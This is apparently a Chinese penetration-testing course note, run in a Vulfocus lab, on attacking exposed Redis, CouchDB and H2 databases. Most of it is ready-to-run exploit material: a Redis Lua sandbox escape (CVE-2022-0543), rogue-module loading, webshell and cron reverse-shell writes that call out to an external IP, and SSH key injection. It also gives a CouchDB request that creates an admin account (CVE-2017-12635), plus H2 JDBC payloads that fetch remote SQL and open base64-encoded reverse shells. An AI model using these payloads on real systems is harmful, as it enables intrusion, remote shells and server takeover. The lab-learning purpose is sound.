第78天:服务攻防-数据库安全&Redis&CouchDB&H2database&未授权访问&CVE漏洞

第78天:服务攻防-数据库安全&Redis&CouchDB&H2database&未授权访问&CVE漏洞

  • 端口扫描:利用服务开启后目标端口开放判断
  • 组合判断:利用搭建常见组合分析可能开放服务
  • 信息来源:访问端口提示软件版本,应用信息等
  • 强弱特征:如框架 shiro 强特征 rememberMe,SpringBoot 默认页面等

环境搭建VULFOCUS:

1
2
3
4
5
6
7
8
9
首先安装docker
安装docekr-compose
apt install docker -y
apt install docker-compose -y
然后配置加速源,这一点需要配置好,不然会出现视频中同步不成功。

docker pull vulfocus/vulfocus:latest

docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=0.0.0.0 vulfocus/vulfocus

image-20250828114934160

沙箱绕过 RCE-CVE-2022-0543

1
2
3
4
利用版本范围:
2.2 <= redis < 5.0.13;
2.2 <= redis < 6.0.15;
2.2 <= redis < 6.2.5。

下载这三个镜像:

image-20250828115136655

image-20250828115608132

使用redis工具进行链接:

image-20250828115552417

1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

image-20250828120053630

若返回如下则无该漏洞:

1
ERR Error running script (call to f_59383731574f8ef9c055b3f4cf9cca078446f86d): @enable_strict_lua:15: user_script:1: Script attempted to access unexisting global variable 'package' 

未授权访问 - CNVD-2019-21763

  • 由于在 Reids 4.x 及以上版本中新增了模块功能,攻击者可通过外部拓展,在 Redis 中实现一个新的 Redis 命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
  • 利用工具项目:https://github.com/vulhub/redis-rogue-getshell
  • 利用:
    • 启动靶场,获得映射端口,然后利用工具执行命令

下载这个工具之后:

1
2
cd RedisModulesSDK/
make

image-20250828123907372

1
2
3
python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

python3 redis-master.py -r 10.20.0.19 -p 43199 -L 10.20.0.36 -P 8888 -f RedisModulesSDK/exp.so -c "id"

image-20250828124219608

未授权访问(CNVD-2015-07557)

三种利用方式,都是利用写文件

写 Webshell

利用条件:有 Web 网站,且 Web 目录权限可读写,需得到 Web 路径

利用:

1
2
3
4
5
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行

注意:部分没目录权限读写权限

image-20250828124717016

因为这个靶场没有php的环境,但是通过在服务器上查看1.php的文件位置,得到确实是写上去了。

image-20250828124724245

实际情况可以将这个文件放到常见的apache或者nginx的服务的目录下。

写定时任务反弹 shell

利用条件:Redis 服务使用 ROOT 账号启动,安全模式 protected-mode 处于关闭状态

利用:

1
2
3
4
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
save

这里的话这个靶场第一步就直接报错 ERR Changing directory: No such file or directory,所以这个利用不了

注意:centos 会忽略乱码去执行格式正确的任务计划,而 ubuntu 并不会忽略这些乱码,所以导致命令执行失败

写入 Linux ssh-key 公钥

利用条件:Redis 服务使用 ROOT 账号启动,安全模式 protected-mode 处于关闭状态,允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx
//以上步骤在自己的攻击机器上执行


config set dir /root/.ssh/
config set dbfilename authorized_keys
save
//在redis链接工具上执行


cd /root/.ssh/
ssh -i id_rsa root@目标IP
//在攻击机上执行

因为在执行cat那个命令的时候,因为靶场是随机高位端口,所以这里改端口好像不行。

这里可以使用工具。

github项目:https://github.com/n0b0dyCN/redis-rogue-server

image-20250828131332540

需要在exp这个目录执行make命令

1
2
3
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP

python3 redis-rogue-server.py --rhost 10.20.0.19 --rport 19903 --lhost 10.20.0.36

image-20250828131707215

如果这里一次没有成功,可以多试几次。

image-20250828131754513

数据库应用 - Couchdb - 未授权越权 & CVE 漏洞

CVE-2017-12635

  • 默认端口:5984
  • Apache CouchDB 是一个开源数据库,专注于易用性和成为 “完全拥抱 web 的数据库”。它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序)。在 2017 年 11 月 15 日,CVE-2017-12635 和 CVE-2017-12636 披露利用。

image-20250828133553591

image-20250828134803243

先创建一个用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
Host: 10.20.0.19:38515
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "xiaodi",
"roles": ["_admin"],
"roles": [],
"password": "xiaodi"
}

image-20250828134747819

使用创建用户的用户登陆:

1
http://xxx.xxx.xxx.xxx:xxx/_utils/#login

image-20250828134952178

CVE-2017-12636

使用自动化工具

项目地址:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

image-20250828140523239

开启nc监听就行。

image-20250828140533385

数据库应用-H2database–未授权访问&CVE漏洞

  • 默认端口:20051
  • Java SQL 数据库 H2,H2 的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210 + 中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的 jdbc:h2:mem JDBC URL 执行任意代码。

cve-2022-23221

image-20250828182210315

未授权进入

直接在 JDBC URL 处填入以下内容即可无需用户密码进入数据库

1
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

这里还可以使用 rmi 进行攻击尝试

image-20250828182234016

RCE 执行反弹

在自己服务器上创建数据库文件:h2database.sql,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';


CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMC4wLjM2LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");';

反弹指令示例

1
bash -i >& /dev/tcp/10.20.0.36/6666 0>&1

在服务器上启动提供 SQL 文件远程加载服务,python,或者 apache 之类的都可以

1
python3 -m http.server 端口

image-20250828183356098

在服务器上启动监听端口,这里上面反弹的是 6666.所以监听 6666

1
nc -lvvp 6666

在靶场访问的界面 JDBC URL 处填入 Payload 使其加载远程 SQL

1
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://10.20.0.36:80/h2database.sql';\

自己的服务器成功获取到 shell

image-20250828183343187

另一种RCE的办法-jndi注入

1
2
3
4
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOS8zMzMzIDA+JjE=}|{base64,-d}|{bash,-i}' -A 192.168.88.129


javax.naming.InitialContex

image-20250828183908194